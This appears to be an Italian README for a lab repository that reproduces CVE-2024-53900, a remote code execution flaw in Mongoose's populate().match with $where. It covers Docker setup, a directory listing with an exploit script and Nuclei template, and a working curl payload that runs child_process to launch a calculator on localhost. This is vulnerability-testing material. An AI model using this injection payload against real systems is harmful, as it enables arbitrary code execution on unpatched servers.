CVE-2024-53900 - Mongoose populate().match $where RCE

Questa repository fornisce un ambiente vulnerabile riproducibile e un PoC per CVE-2024-53900, una vulnerabilità critica di Remote Code Execution (RCE) in Mongoose < 8.8.3.

📌 Dettagli della vulnerabilità

• CVE: CVE-2024-53900
• Versioni affette: Mongoose < 8.8.3
• Gravità: Critica (CVSS 9.1)
• Vettore: populate().match combinato con $where
• Impatto: Esecuzione arbitraria di JavaScript (RCE) nel contesto Node.js

Riferimenti:

• Advisory GitHub
• Commit di correzione

🛠️ Istruzioni di configurazione

1. Clona la repository

git clone https://github.com/www-spam/CVE-2024-53900.git
cd CVE-2024-53900

2. Avvia l'ambiente (Docker Compose)

docker-compose up -d

📌 PoC con GUI (Calcolatrice)

Per impostazione predefinita, l'app Node.js vulnerabile viene eseguita all'interno di Docker.
Tuttavia, le applicazioni GUI (come xcalc o gnome-calculator) non si avvieranno all'interno di un container.

👉 Se vuoi dimostrare la RCE aprendo una finestra della calcolatrice:

1. Esegui MongoDB in Docker (come backend del database)

   root@kitploit:~

   docker run -d --name mongo -p 27017:27017 mongo:6
   

2. Esegui l'app Node.js vulnerabile localmente

   cd ~/cve-2024/app
   npm install
   node server.js

• MongoDB viene eseguito sulla porta 27017
• L'app Node.js vulnerabile viene eseguita sulla porta 5000

📂 Struttura delle directory

/home/kali/cve-2024/
├── docker-compose.yml     # Configurazione ambiente
├── exploit.py             # Script di exploit automatizzato
├── CVE-2024-53900.yaml    # Template Nuclei
├── README.md              # Documentazione
├── app/                   # App Node.js vulnerabile
│   ├── Dockerfile
│   ├── package.json
│   ├── server.js
│   ├── models.js
│   └── views/
└── data/                  # Volume MongoDB

🚀 Exploit

Test manuale

curl "http://localhost:5000/book/{OBJECT_ID}/detail?view[path]=author&view[match][$where]=global.process.mainModule.constructor._load('child_process').exec('xcalc')"

PoC automatizzato

python3 exploit.py --url http://localhost:5000

Con Nuclei

nuclei \ -u http://localhost:5000/book/{{OBJECT_ID}/detail \ -t ~/.local/nuclei-templates/CVE-2024-53900.yaml \ -var pfield=author

🔒 Note sulla sicurezza

• Solo per ricerca e test (non in produzione).
• Payload limitato a operazioni sicure (ad es. creazione di file).
• Completamente isolato tramite Docker.

✅ Ambiente testato

• OS: Kali Linux
• MongoDB: mongo:6
• Node.js: 18
• Mongoose: 8.5.0 (vulnerabile)
• Express: 4.18.2

📸 Demo